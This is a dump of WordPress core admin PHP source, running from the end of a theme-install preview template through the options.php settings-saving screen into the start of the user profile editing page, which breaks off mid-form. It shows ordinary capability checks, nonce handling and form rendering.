					<a href="{{ data.install_url }}" class="button button-primary theme-install" data-name="{{ data.name }}" data-slug="{{ data.id }}"><?php _e( 'Install' ); ?></a>
				<# } else { #>
					<a class="button button-primary disabled" ><?php _ex( 'Cannot Install', 'theme' ); ?></a>
				<# } #>
			<# } #>
		</div>
		<div class="wp-full-overlay-sidebar-content">
			<div class="install-theme-info">
				<h3 class="theme-name">{{ data.name }}</h3>
					<span class="theme-by">
						<?php
						/* translators: %s: Theme author name. */
						printf( __( 'By %s' ), '{{ data.author }}' );
						?>
					</span>

					<div class="theme-screenshot">
						<img class="theme-screenshot" src="{{ data.screenshot_url }}?ver={{ data.version }}" alt="" />
					</div>

					<div class="theme-details">
						<# if ( data.rating ) { #>
							<div class="theme-rating">
								{{{ data.stars }}}
								<a class="num-ratings" href="{{ data.reviews_url }}">
									<?php
									/* translators: %s: Number of ratings. */
									printf( __( '(%s ratings)' ), '{{ data.num_ratings }}' );
									?>
								</a>
							</div>
						<# } else { #>
							<span class="no-rating"><?php _e( 'This theme has not been rated yet.' ); ?></span>
						<# } #>

						<div class="theme-version">
							<?php
							/* translators: %s: Theme version. */
							printf( __( 'Version: %s' ), '{{ data.version }}' );
							?>
						</div>

						<# if ( ! data.compatible_wp || ! data.compatible_php ) { #>
							<div class="notice notice-error notice-alt notice-large"><p>
								<# if ( ! data.compatible_wp && ! data.compatible_php ) { #>
									<?php
									_e( 'This theme does not work with your versions of WordPress and PHP.' );
									if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
										printf(
											/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
											' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
											self_admin_url( 'update-core.php' ),
											esc_url( wp_get_update_php_url() )
										);
										wp_update_php_annotation( '</p><p><em>', '</em>' );
									} elseif ( current_user_can( 'update_core' ) ) {
										printf(
											/* translators: %s: URL to WordPress Updates screen. */
											' ' . __( '<a href="%s">Please update WordPress</a>.' ),
											self_admin_url( 'update-core.php' )
										);
									} elseif ( current_user_can( 'update_php' ) ) {
										printf(
											/* translators: %s: URL to Update PHP page. */
											' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
											esc_url( wp_get_update_php_url() )
										);
										wp_update_php_annotation( '</p><p><em>', '</em>' );
									}
									?>
								<# } else if ( ! data.compatible_wp ) { #>
									<?php
									_e( 'This theme does not work with your version of WordPress.' );
									if ( current_user_can( 'update_core' ) ) {
										printf(
											/* translators: %s: URL to WordPress Updates screen. */
											' ' . __( '<a href="%s">Please update WordPress</a>.' ),
											self_admin_url( 'update-core.php' )
										);
									}
									?>
								<# } else if ( ! data.compatible_php ) { #>
									<?php
									_e( 'This theme does not work with your version of PHP.' );
									if ( current_user_can( 'update_php' ) ) {
										printf(
											/* translators: %s: URL to Update PHP page. */
											' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
											esc_url( wp_get_update_php_url() )
										);
										wp_update_php_annotation( '</p><p><em>', '</em>' );
									}
									?>
								<# } #>
							</p></div>
						<# } #>

						<div class="theme-description">{{{ data.description }}}</div>
					</div>
				</div>
			</div>
			<div class="wp-full-overlay-footer">
				<button type="button" class="collapse-sidebar button" aria-expanded="true" aria-label="<?php esc_attr_e( 'Collapse Sidebar' ); ?>">
					<span class="collapse-sidebar-arrow"></span>
					<span class="collapse-sidebar-label"><?php _e( 'Collapse' ); ?></span>
				</button>
			</div>
		</div>
		<div class="wp-full-overlay-main">
		<iframe src="{{ data.preview_url }}" title="<?php esc_attr_e( 'Preview' ); ?>"></iframe>
	</div>
</script>

<?php
wp_print_request_filesystem_credentials_modal();
wp_print_admin_notice_templates();

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Options Management Administration Screen.
 *
 * If accessed directly in a browser this page shows a list of all saved options
 * along with editable fields for their values. Serialized data is not supported
 * and there is no way to remove options via this page. It is not linked to from
 * anywhere else in the admin.
 *
 * This file is also the target of the forms in core and custom options pages
 * that use the Settings API. In this case it saves the new option values
 * and returns the user to their page of origin.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

// Used in the HTML title tag.
$title       = __( 'Settings' );
$this_file   = 'options.php';
$parent_file = 'options-general.php';

wp_reset_vars( array( 'action', 'option_page' ) );

$capability = 'manage_options';

// This is for back compat and will eventually be removed.
if ( empty( $option_page ) ) {
	$option_page = 'options';
} else {

	/**
	 * Filters the capability required when using the Settings API.
	 *
	 * By default, the options groups for all registered settings require the manage_options capability.
	 * This filter is required to change the capability required for a certain options page.
	 *
	 * @since 3.2.0
	 *
	 * @param string $capability The capability used for the page, which is manage_options by default.
	 */
	$capability = apply_filters( "option_page_capability_{$option_page}", $capability );
}

if ( ! current_user_can( $capability ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to manage options for this site.' ) . '</p>',
		403
	);
}

// Handle admin email change requests.
if ( ! empty( $_GET['adminhash'] ) ) {
	$new_admin_details = get_option( 'adminhash' );
	$redirect          = 'options-general.php?updated=false';

	if ( is_array( $new_admin_details )
		&& hash_equals( $new_admin_details['hash'], $_GET['adminhash'] )
		&& ! empty( $new_admin_details['newemail'] )
	) {
		update_option( 'admin_email', $new_admin_details['newemail'] );
		delete_option( 'adminhash' );
		delete_option( 'new_admin_email' );
		$redirect = 'options-general.php?updated=true';
	}

	wp_redirect( admin_url( $redirect ) );
	exit;
} elseif ( ! empty( $_GET['dismiss'] ) && 'new_admin_email' === $_GET['dismiss'] ) {
	check_admin_referer( 'dismiss-' . get_current_blog_id() . '-new_admin_email' );
	delete_option( 'adminhash' );
	delete_option( 'new_admin_email' );
	wp_redirect( admin_url( 'options-general.php?updated=true' ) );
	exit;
}

if ( is_multisite() && ! current_user_can( 'manage_network_options' ) && 'update' !== $action ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to delete these items.' ) . '</p>',
		403
	);
}

$allowed_options            = array(
	'general'    => array(
		'blogname',
		'blogdescription',
		'site_icon',
		'gmt_offset',
		'date_format',
		'time_format',
		'start_of_week',
		'timezone_string',
		'WPLANG',
		'new_admin_email',
	),
	'discussion' => array(
		'default_pingback_flag',
		'default_ping_status',
		'default_comment_status',
		'comments_notify',
		'moderation_notify',
		'comment_moderation',
		'require_name_email',
		'comment_previously_approved',
		'comment_max_links',
		'moderation_keys',
		'disallowed_keys',
		'show_avatars',
		'avatar_rating',
		'avatar_default',
		'close_comments_for_old_posts',
		'close_comments_days_old',
		'thread_comments',
		'thread_comments_depth',
		'page_comments',
		'comments_per_page',
		'default_comments_page',
		'comment_order',
		'comment_registration',
		'show_comments_cookies_opt_in',
	),
	'media'      => array(
		'thumbnail_size_w',
		'thumbnail_size_h',
		'thumbnail_crop',
		'medium_size_w',
		'medium_size_h',
		'large_size_w',
		'large_size_h',
		'image_default_size',
		'image_default_align',
		'image_default_link_type',
	),
	'reading'    => array(
		'posts_per_page',
		'posts_per_rss',
		'rss_use_excerpt',
		'show_on_front',
		'page_on_front',
		'page_for_posts',
		'blog_public',
	),
	'writing'    => array(
		'default_category',
		'default_email_category',
		'default_link_category',
		'default_post_format',
	),
);
$allowed_options['misc']    = array();
$allowed_options['options'] = array();
$allowed_options['privacy'] = array();

$mail_options = array( 'mailserver_url', 'mailserver_port', 'mailserver_login', 'mailserver_pass' );

if ( ! in_array( get_option( 'blog_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ), true ) ) {
	$allowed_options['reading'][] = 'blog_charset';
}

if ( get_site_option( 'initial_db_version' ) < 32453 ) {
	$allowed_options['writing'][] = 'use_smilies';
	$allowed_options['writing'][] = 'use_balanceTags';
}

if ( ! is_multisite() ) {
	if ( ! defined( 'WP_SITEURL' ) ) {
		$allowed_options['general'][] = 'siteurl';
	}
	if ( ! defined( 'WP_HOME' ) ) {
		$allowed_options['general'][] = 'home';
	}

	$allowed_options['general'][] = 'users_can_register';
	$allowed_options['general'][] = 'default_role';

	$allowed_options['writing']   = array_merge( $allowed_options['writing'], $mail_options );
	$allowed_options['writing'][] = 'ping_sites';

	$allowed_options['media'][] = 'uploads_use_yearmonth_folders';

	/*
	 * If upload_url_path is not the default (empty),
	 * or upload_path is not the default ('wp-content/uploads' or empty),
	 * they can be edited, otherwise they're locked.
	 */
	if ( get_option( 'upload_url_path' )
		|| get_option( 'upload_path' ) && 'wp-content/uploads' !== get_option( 'upload_path' )
	) {
		$allowed_options['media'][] = 'upload_path';
		$allowed_options['media'][] = 'upload_url_path';
	}
} else {
	/**
	 * Filters whether the post-by-email functionality is enabled.
	 *
	 * @since 3.0.0
	 *
	 * @param bool $enabled Whether post-by-email configuration is enabled. Default true.
	 */
	if ( apply_filters( 'enable_post_by_email_configuration', true ) ) {
		$allowed_options['writing'] = array_merge( $allowed_options['writing'], $mail_options );
	}
}

/**
 * Filters the allowed options list.
 *
 * @since 2.7.0
 * @deprecated 5.5.0 Use {@see 'allowed_options'} instead.
 *
 * @param array $allowed_options The allowed options list.
 */
$allowed_options = apply_filters_deprecated(
	'whitelist_options',
	array( $allowed_options ),
	'5.5.0',
	'allowed_options',
	__( 'Please consider writing more inclusive code.' )
);

/**
 * Filters the allowed options list.
 *
 * @since 5.5.0
 *
 * @param array $allowed_options The allowed options list.
 */
$allowed_options = apply_filters( 'allowed_options', $allowed_options );

if ( 'update' === $action ) { // We are saving settings sent from a settings page.
	if ( 'options' === $option_page && ! isset( $_POST['option_page'] ) ) { // This is for back compat and will eventually be removed.
		$unregistered = true;
		check_admin_referer( 'update-options' );
	} else {
		$unregistered = false;
		check_admin_referer( $option_page . '-options' );
	}

	if ( ! isset( $allowed_options[ $option_page ] ) ) {
		wp_die(
			sprintf(
				/* translators: %s: The options page name. */
				__( '<strong>Error:</strong> The %s options page is not in the allowed options list.' ),
				'<code>' . esc_html( $option_page ) . '</code>'
			)
		);
	}

	if ( 'options' === $option_page ) {
		if ( is_multisite() && ! current_user_can( 'manage_network_options' ) ) {
			wp_die( __( 'Sorry, you are not allowed to modify unregistered settings for this site.' ) );
		}
		$options = isset( $_POST['page_options'] ) ? explode( ',', wp_unslash( $_POST['page_options'] ) ) : null;
	} else {
		$options = $allowed_options[ $option_page ];
	}

	if ( 'general' === $option_page ) {
		// Handle custom date/time formats.
		if ( ! empty( $_POST['date_format'] ) && isset( $_POST['date_format_custom'] )
			&& '\c\u\s\t\o\m' === wp_unslash( $_POST['date_format'] )
		) {
			$_POST['date_format'] = $_POST['date_format_custom'];
		}

		if ( ! empty( $_POST['time_format'] ) && isset( $_POST['time_format_custom'] )
			&& '\c\u\s\t\o\m' === wp_unslash( $_POST['time_format'] )
		) {
			$_POST['time_format'] = $_POST['time_format_custom'];
		}

		// Map UTC+- timezones to gmt_offsets and set timezone_string to empty.
		if ( ! empty( $_POST['timezone_string'] ) && preg_match( '/^UTC[+-]/', $_POST['timezone_string'] ) ) {
			$_POST['gmt_offset']      = $_POST['timezone_string'];
			$_POST['gmt_offset']      = preg_replace( '/UTC\+?/', '', $_POST['gmt_offset'] );
			$_POST['timezone_string'] = '';
		} elseif ( isset( $_POST['timezone_string'] ) && ! in_array( $_POST['timezone_string'], timezone_identifiers_list( DateTimeZone::ALL_WITH_BC ), true ) ) {
			// Reset to the current value.
			$current_timezone_string = get_option( 'timezone_string' );

			if ( ! empty( $current_timezone_string ) ) {
				$_POST['timezone_string'] = $current_timezone_string;
			} else {
				$_POST['gmt_offset']      = get_option( 'gmt_offset' );
				$_POST['timezone_string'] = '';
			}

			add_settings_error(
				'general',
				'settings_updated',
				__( 'The timezone you have entered is not valid. Please select a valid timezone.' ),
				'error'
			);
		}

		// Handle translation installation.
		if ( ! empty( $_POST['WPLANG'] ) && current_user_can( 'install_languages' ) ) {
			require_once ABSPATH . 'wp-admin/includes/translation-install.php';

			if ( wp_can_install_language_pack() ) {
				$language = wp_download_language_pack( $_POST['WPLANG'] );
				if ( $language ) {
					$_POST['WPLANG'] = $language;
				}
			}
		}
	}

	if ( $options ) {
		$user_language_old = get_user_locale();

		foreach ( $options as $option ) {
			if ( $unregistered ) {
				_deprecated_argument(
					'options.php',
					'2.7.0',
					sprintf(
						/* translators: %s: The option/setting. */
						__( 'The %s setting is unregistered. Unregistered settings are deprecated. See https://developer.wordpress.org/plugins/settings/settings-api/' ),
						'<code>' . esc_html( $option ) . '</code>'
					)
				);
			}

			$option = trim( $option );
			$value  = null;
			if ( isset( $_POST[ $option ] ) ) {
				$value = $_POST[ $option ];
				if ( ! is_array( $value ) ) {
					$value = trim( $value );
				}
				$value = wp_unslash( $value );
			}
			update_option( $option, $value );
		}

		/*
		 * Switch translation in case WPLANG was changed.
		 * The global $locale is used in get_locale() which is
		 * used as a fallback in get_user_locale().
		 */
		unset( $GLOBALS['locale'] );
		$user_language_new = get_user_locale();
		if ( $user_language_old !== $user_language_new ) {
			load_default_textdomain( $user_language_new );
		}
	} else {
		add_settings_error( 'general', 'settings_updated', __( 'Settings save failed.' ), 'error' );
	}

	/*
	 * Handle settings errors and return to options page.
	 */

	// If no settings errors were registered add a general 'updated' message.
	if ( ! count( get_settings_errors() ) ) {
		add_settings_error( 'general', 'settings_updated', __( 'Settings saved.' ), 'success' );
	}

	set_transient( 'settings_errors', get_settings_errors(), 30 ); // 30 seconds.

	// Redirect back to the settings page that was submitted.
	$goback = add_query_arg( 'settings-updated', 'true', wp_get_referer() );
	wp_redirect( $goback );
	exit;
}

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
	<h1><?php esc_html_e( 'All Settings' ); ?></h1>

	<?php
	wp_admin_notice(
		'<strong>' . __( 'Warning:' ) . '</strong> ' . __( 'This page allows direct access to your site settings. You can break things here. Please be cautious!' ),
		array(
			'type' => 'warning',
		)
	);
	?>
	<form name="form" action="options.php" method="post" id="all-options">
		<?php wp_nonce_field( 'options-options' ); ?>
		<input type="hidden" name="action" value="update" />
		<input type="hidden" name="option_page" value="options" />
		<table class="form-table" role="presentation">
<?php
$options = $wpdb->get_results( "SELECT * FROM $wpdb->options ORDER BY option_name" );

foreach ( (array) $options as $option ) :
	$disabled = false;

	if ( '' === $option->option_name ) {
		continue;
	}

	if ( is_serialized( $option->option_value ) ) {
		if ( is_serialized_string( $option->option_value ) ) {
			// This is a serialized string, so we should display it.
			$value               = maybe_unserialize( $option->option_value );
			$options_to_update[] = $option->option_name;
			$class               = 'all-options';
		} else {
			$value    = 'SERIALIZED DATA';
			$disabled = true;
			$class    = 'all-options disabled';
		}
	} else {
		$value               = $option->option_value;
		$options_to_update[] = $option->option_name;
		$class               = 'all-options';
	}

	$name = esc_attr( $option->option_name );
	?>
<tr>
	<th scope="row"><label for="<?php echo $name; ?>"><?php echo esc_html( $option->option_name ); ?></label></th>
<td>
	<?php if ( str_contains( $value, "\n" ) ) : ?>
		<textarea class="<?php echo $class; ?>" name="<?php echo $name; ?>" id="<?php echo $name; ?>" cols="30" rows="5"><?php echo esc_textarea( $value ); ?></textarea>
	<?php else : ?>
		<input class="regular-text <?php echo $class; ?>" type="text" name="<?php echo $name; ?>" id="<?php echo $name; ?>" value="<?php echo esc_attr( $value ); ?>"<?php disabled( $disabled, true ); ?> />
	<?php endif; ?></td>
</tr>
<?php endforeach; ?>
</table>

<input type="hidden" name="page_options" value="<?php echo esc_attr( implode( ',', $options_to_update ) ); ?>" />

<?php submit_button( __( 'Save Changes' ), 'primary', 'Update' ); ?>

</form>
</div>

<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Edit user administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** WordPress Translation Installation API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

wp_reset_vars( array( 'action', 'user_id', 'wp_http_referer' ) );

$user_id      = (int) $user_id;
$current_user = wp_get_current_user();

if ( ! defined( 'IS_PROFILE_PAGE' ) ) {
	define( 'IS_PROFILE_PAGE', ( $user_id === $current_user->ID ) );
}

if ( ! $user_id && IS_PROFILE_PAGE ) {
	$user_id = $current_user->ID;
} elseif ( ! $user_id && ! IS_PROFILE_PAGE ) {
	wp_die( __( 'Invalid user ID.' ) );
} elseif ( ! get_userdata( $user_id ) ) {
	wp_die( __( 'Invalid user ID.' ) );
}

wp_enqueue_script( 'user-profile' );

if ( wp_is_application_passwords_available_for_user( $user_id ) ) {
	wp_enqueue_script( 'application-passwords' );
}

if ( IS_PROFILE_PAGE ) {
	// Used in the HTML title tag.
	$title = __( 'Profile' );
} else {
	// Used in the HTML title tag.
	/* translators: %s: User's display name. */
	$title = __( 'Edit User %s' );
}

if ( current_user_can( 'edit_users' ) && ! IS_PROFILE_PAGE ) {
	$submenu_file = 'users.php';
} else {
	$submenu_file = 'profile.php';
}

if ( current_user_can( 'edit_users' ) && ! is_user_admin() ) {
	$parent_file = 'users.php';
} else {
	$parent_file = 'profile.php';
}

$profile_help = '<p>' . __( 'Your profile contains information about you (your &#8220;account&#8221;) as well as some personal options related to using WordPress.' ) . '</p>' .
	'<p>' . __( 'You can change your password, turn on keyboard shortcuts, change the color scheme of your WordPress administration screens, and turn off the WYSIWYG (Visual) editor, among other things. You can hide the Toolbar (formerly called the Admin Bar) from the front end of your site, however it cannot be disabled on the admin screens.' ) . '</p>' .
	'<p>' . __( 'You can select the language you wish to use while using the WordPress administration screen without affecting the language site visitors see.' ) . '</p>' .
	'<p>' . __( 'Your username cannot be changed, but you can use other fields to enter your real name or a nickname, and change which name to display on your posts.' ) . '</p>' .
	'<p>' . __( 'You can log out of other devices, such as your phone or a public computer, by clicking the Log Out Everywhere Else button.' ) . '</p>' .
	'<p>' . __( 'Required fields are indicated; the rest are optional. Profile information will only be displayed if your theme is set up to do so.' ) . '</p>' .
	'<p>' . __( 'Remember to click the Update Profile button when you are finished.' ) . '</p>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $profile_help,
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/users-your-profile-screen/">Documentation on User Profiles</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

$wp_http_referer = remove_query_arg( array( 'update', 'delete_count', 'user_id' ), $wp_http_referer );

$user_can_edit = current_user_can( 'edit_posts' ) || current_user_can( 'edit_pages' );

/**
 * Filters whether to allow administrators on Multisite to edit every user.
 *
 * Enabling the user editing form via this filter also hinges on the user holding
 * the 'manage_network_users' cap, and the logged-in user not matching the user
 * profile open for editing.
 *
 * The filter was introduced to replace the EDIT_ANY_USER constant.
 *
 * @since 3.0.0
 *
 * @param bool $allow Whether to allow editing of any user. Default true.
 */
if ( is_multisite()
	&& ! current_user_can( 'manage_network_users' )
	&& $user_id !== $current_user->ID
	&& ! apply_filters( 'enable_edit_any_user_configuration', true )
) {
	wp_die( __( 'Sorry, you are not allowed to edit this user.' ) );
}

// Execute confirmed email change. See send_confirmation_on_profile_email().
if ( IS_PROFILE_PAGE && isset( $_GET['newuseremail'] ) && $current_user->ID ) {
	$new_email = get_user_meta( $current_user->ID, '_new_email', true );
	if ( $new_email && hash_equals( $new_email['hash'], $_GET['newuseremail'] ) ) {
		$user             = new stdClass();
		$user->ID         = $current_user->ID;
		$user->user_email = esc_html( trim( $new_email['newemail'] ) );
		if ( is_multisite() && $wpdb->get_var( $wpdb->prepare( "SELECT user_login FROM {$wpdb->signups} WHERE user_login = %s", $current_user->user_login ) ) ) {
			$wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->signups} SET user_email = %s WHERE user_login = %s", $user->user_email, $current_user->user_login ) );
		}
		wp_update_user( $user );
		delete_user_meta( $current_user->ID, '_new_email' );
		wp_redirect( add_query_arg( array( 'updated' => 'true' ), self_admin_url( 'profile.php' ) ) );
		die();
	} else {
		wp_redirect( add_query_arg( array( 'error' => 'new-email' ), self_admin_url( 'profile.php' ) ) );
	}
} elseif ( IS_PROFILE_PAGE && ! empty( $_GET['dismiss'] ) && $current_user->ID . '_new_email' === $_GET['dismiss'] ) {
	check_admin_referer( 'dismiss-' . $current_user->ID . '_new_email' );
	delete_user_meta( $current_user->ID, '_new_email' );
	wp_redirect( add_query_arg( array( 'updated' => 'true' ), self_admin_url( 'profile.php' ) ) );
	die();
}

switch ( $action ) {
	case 'update':
		check_admin_referer( 'update-user_' . $user_id );

		if ( ! current_user_can( 'edit_user', $user_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit this user.' ) );
		}

		if ( IS_PROFILE_PAGE ) {
			/**
			 * Fires before the page loads on the 'Profile' editing screen.
			 *
			 * The action only fires if the current user is editing their own profile.
			 *
			 * @since 2.0.0
			 *
			 * @param int $user_id The user ID.
			 */
			do_action( 'personal_options_update', $user_id );
		} else {
			/**
			 * Fires before the page loads on the 'Edit User' screen.
			 *
			 * @since 2.7.0
			 *
			 * @param int $user_id The user ID.
			 */
			do_action( 'edit_user_profile_update', $user_id );
		}

		// Update the email address in signups, if present.
		if ( is_multisite() ) {
			$user = get_userdata( $user_id );

			if ( $user->user_login && isset( $_POST['email'] ) && is_email( $_POST['email'] ) && $wpdb->get_var( $wpdb->prepare( "SELECT user_login FROM {$wpdb->signups} WHERE user_login = %s", $user->user_login ) ) ) {
				$wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->signups} SET user_email = %s WHERE user_login = %s", $_POST['email'], $user_login ) );
			}
		}

		// Update the user.
		$errors = edit_user( $user_id );

		// Grant or revoke super admin status if requested.
		if ( is_multisite() && is_network_admin()
			&& ! IS_PROFILE_PAGE && current_user_can( 'manage_network_options' )
			&& ! isset( $super_admins ) && empty( $_POST['super_admin'] ) === is_super_admin( $user_id )
		) {
			empty( $_POST['super_admin'] ) ? revoke_super_admin( $user_id ) : grant_super_admin( $user_id );
		}

		if ( ! is_wp_error( $errors ) ) {
			$redirect = add_query_arg( 'updated', true, get_edit_user_link( $user_id ) );
			if ( $wp_http_referer ) {
				$redirect = add_query_arg( 'wp_http_referer', urlencode( $wp_http_referer ), $redirect );
			}
			wp_redirect( $redirect );
			exit;
		}

		// Intentional fall-through to display $errors.
	default:
		$profile_user = get_user_to_edit( $user_id );

		if ( ! current_user_can( 'edit_user', $user_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit this user.' ) );
		}

		$title    = sprintf( $title, $profile_user->display_name );
		$sessions = WP_Session_Tokens::get_instance( $profile_user->ID );

		require_once ABSPATH . 'wp-admin/admin-header.php';
		?>

		<?php
		if ( ! IS_PROFILE_PAGE && is_super_admin( $profile_user->ID ) && current_user_can( 'manage_network_options' ) ) :
			$message = '<strong>' . __( 'Important:' ) . '</strong> ' . __( 'This user has super admin privileges.' );
			wp_admin_notice(
				$message,
				array(
					'type' => 'info',
				)
			);
		endif;

		if ( isset( $_GET['updated'] ) ) :
			if ( IS_PROFILE_PAGE ) :
				$message = '<strong>' . __( 'Profile updated.' ) . '</strong>';
			else :
				$message = '<strong>' . __( 'User updated.' ) . '</strong>';
			endif;
			if ( $wp_http_referer && ! str_contains( $wp_http_referer, 'user-new.php' ) && ! IS_PROFILE_PAGE ) :
				$message .= '<a href="' . esc_url( wp_validate_redirect( sanitize_url( $wp_http_referer ), self_admin_url( 'users.php' ) ) ) . '">' . __( '&larr; Go to Users' ) . '</a>';
			endif;
			wp_admin_notice(
				$message,
				array(
					'id'                 => 'message',
					'dismissible'        => true,
					'additional_classes' => array( 'updated' ),
				)
			);
		endif;

		if ( isset( $_GET['error'] ) ) :
			$message = '';
			if ( 'new-email' === $_GET['error'] ) :
				$message = __( 'Error while saving the new email address. Please try again.' );
			endif;
			wp_admin_notice(
				$message,
				array(
					'type' => 'error',
				)
			);
		endif;

		if ( isset( $errors ) && is_wp_error( $errors ) ) {
			wp_admin_notice(
				implode( "</p>\n<p>", $errors->get_error_messages() ),
				array(
					'additional_classes' => array( 'error' ),
				)
			);
		}
		?>

		<div class="wrap" id="profile-page">
			<h1 class="wp-heading-inline">
					<?php echo esc_html( $title ); ?>
			</h1>

			<?php if ( ! IS_PROFILE_PAGE ) : ?>
				<?php if ( current_user_can( 'create_users' ) ) : ?>
					<a href="user-new.php" class="page-title-action"><?php echo esc_html__( 'Add New User' ); ?></a>
				<?php elseif ( is_multisite() && current_user_can( 'promote_users' ) ) : ?>
					<a href="user-new.php" class="page-title-action"><?php echo esc_html__( 'Add Existing User' ); ?></a>
				<?php endif; ?>
			<?php endif; ?>

			<hr class="wp-header-end">

			<form id="your-profile" action="<?php echo esc_url( self_admin_url( IS_PROFILE_PAGE ? 'profile.php' : 'user-edit.php' ) ); ?>" method="post" novalidate="novalidate"
				<?php
				/**
				 * Fires inside the your-profile form tag on the user editing screen.
				 *
				 * @since 3.0.0
				 */
				do_action( 'user_edit_form_tag' );
				?>
				>
				<?php wp_nonce_field( 'update-user_' . $user_id ); ?>
				<?php if ( $wp_http_referer ) : ?>
					<input type="hidden" name="wp_http_referer" value="<?php echo esc_url( $wp_http_referer ); ?>" />
				<?php endif; ?>
				<p>
					<input type="hidden" name="from" value="profile" />
					<input type="hidden" name="checkuser_id" value="<?php echo get_current_user_id(); ?>" />
				</p>

				<h2><?php _e( 'Personal Options' ); ?></h2>

				<table class="form-table" role="presentation">
					<?php if ( ! ( IS_PROFILE_PAGE && ! $user_can_edit ) ) : ?>
						<tr class="user-rich-editing-wrap">
							<th scope="row"><?php _e( 'Visual Editor' ); ?></th>
							<td>
								<label for="rich_editing"><input name="rich_editing" type="checkbox" id="rich_editing" value="false" <?php checked( 'false', $profile_user->rich_editing ); ?> />
									<?php _e( 'Disable the visual editor when writing' ); ?>
								</label>
							</td>
						</tr>
					<?php endif; ?>

					<?php
					$show_syntax_highlighting_preference = (
					// For Custom HTML widget and Additional CSS in Customizer.
					user_can( $profile_user, 'edit_theme_options' )
					||
					// Edit plugins.
					user_can( $profile_user, 'edit_plugins' )
					||
					// Edit themes.
					user_can( $profile_user, 'edit_themes' )
					);
					?>

					<?php if ( $show_syntax_highlighting_preference ) : ?>
					<tr class="user-syntax-highlighting-wrap">
						<th scope="row"><?php _e( 'Syntax Highlighting' ); ?></th>
						<td>
							<label for="syntax_highlighting"><input name="syntax_highlighting" type="checkbox" id="syntax_highlighting" value="false" <?php checked( 'false', $profile_user->syntax_highlighting ); ?> />
								<?php _e( 'Disable syntax highlighting when editing code' ); ?>
							</label>
						</td>
					</tr>
					<?php endif; ?>

					<?php if ( count( $_wp_admin_css_colors ) > 1 && has_action( 'admin_color_scheme_picker' ) ) : ?>
					<tr class="user-admin-color-wrap">
						<th scope="row"><?php _e( 'Admin Color Scheme' ); ?></th>
						<td>
							<?php
							/**
							 * Fires in the 'Admin Color Scheme' section of the user editing screen.
							 *
							 * The section is only enabled if a callback is hooked to the action,
							 * and if there is more than one defined color scheme for the admin.
							 *
							 * @since 3.0.0
							 * @since 3.8.1 Added `$user_id` parameter.
							 *
							 * @param int $user_id The user ID.
							 */
							do_action( 'admin_color_scheme_picker', $user_id );
							?>
						</td>
					</tr>
					<?php endif; // End if count ( $_wp_admin_css_colors ) > 1 ?>

					<?php if ( ! ( IS_PROFILE_PAGE && ! $user_can_edit ) ) : ?>
					<tr class="user-comment-shortcuts-wrap">
						<th scope="row"><?php _e( 'Keyboard Shortcuts' ); ?></th>
						<td>
							<label for="comment_shortcuts">
								<input type="checkbox" name="comment_shortcuts" id="comment_shortcuts" value="true" <?php checked( 'true', $profile_user->comment_shortcuts ); ?> />
								<?php _e( 'Enable keyboard shortcuts for comment moderation.' ); ?>
							</label>
							<?php _e( '<a href="https://wordpress.org/documentation/article/keyboard-shortcuts-classic-editor/#keyboard-shortcuts-for-comments">Documentation on Keyboard Shortcuts</a>' ); ?>
						</td>
					</tr>
					<?php endif; ?>

					<tr class="show-admin-bar user-admin-bar-front-wrap">
						<th scope="row"><?php _e( 'Toolbar' ); ?></th>
						<td>
							<label for="admin_bar_front">
								<input name="admin_bar_front" type="checkbox" id="admin_bar_front" value="1"<?php checked( _get_admin_bar_pref( 'front', $profile_user->ID ) ); ?> />
								<?php _e( 'Show Toolbar when viewing site' ); ?>
							</label><br />
						</td>
					</tr>

					<?php
					$languages                = get_available_languages();
					$can_install_translations = current_user_can( 'install_languages' ) && wp_can_install_language_pack();
					?>
					<?php if ( $languages || $can_install_translations ) : ?>
					<tr class="user-language-wrap">
						<th scope="row">
							<?php /* translators: The user language selection field label. */ ?>
							<label for="locale"><?php _e( 'Language' ); ?><span class="dashicons dashicons-translation" aria-hidden="true"></span></label>
						</th>
						<td>
							<?php
								$user_locale = $profile_user->locale;

							if ( 'en_US' === $user_locale ) {
								$user_locale = '';
							} elseif ( '' === $user_locale || ! in_array( $user_locale, $languages, true ) ) {
								$user_locale = 'site-default';
							}

							wp_dropdown_languages(
								array(
									'name'      => 'locale',
									'id'        => 'locale',
									'selected'  => $user_locale,
									'languages' => $languages,
									'show_available_translations' => $can_install_translations,
									'show_option_site_default' => true,
								)
							);
							?>
						</td>
					</tr>
					<?php endif; ?>

					<?php
					/**
					 * Fires at the end of the 'Personal Options' settings table on the user editing screen.
					 *
					 * @since 2.7.0
					 *
					 * @param WP_User $profile_user The current WP_User object.
					 */
					do_action( 'personal_options', $profile_user );
					?>

				</table>
				<?php
				if ( IS_PROFILE_PAGE ) {
					/**
					 * Fires after the 'Personal Options' settings table on the 'Profile' editing screen.
					 *
					 * The action only fires if the current user is editing their own profile.
					 *
					 * @since 2.0.0
